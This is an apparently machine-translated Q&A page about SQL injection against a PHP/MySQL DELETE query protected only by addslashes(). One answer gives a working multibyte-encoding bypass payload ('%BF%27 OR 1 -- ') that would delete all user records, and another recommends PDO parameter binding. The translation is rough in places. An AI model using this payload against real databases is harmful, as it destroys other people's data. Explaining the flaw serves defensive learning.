sql注入删除查询

时间:2013-01-28 12:06:02

标签: php mysql sql-injection sql-delete

我有这个问题:

DELETE FROM users WHERE user_email = '$email'

如何通过SQL注入攻击来攻击所有记录被删除? addslashes()函数在$email上应用,然后再发送给查询。

2 个答案:

答案 0 :(得分:1)

如果在数据库中设置了错误的编码,则可以绕过addslashes,如下所示(这不适用于UTF-8):

$email = urldecode('%BF%27 OR 1 -- '); // user input

$email = addslashes($email);
$sql = "DELETE FROM users WHERE user_email = '$email'";

因为\前置%27'),%BF并且黑色格式会产生有效的多字节字符

Here is an blog article explaining this

答案 1 :(得分:1)

如果您使用的是PDO,则可以使用$pdo->quote($var)或使用PDOStatement bindParambindValue($var, PDO::INT_PARAM)来清理数据并避免所有已知的特殊字符用作sql注入。

修改

那是因为每个数据库都有自己的保留字。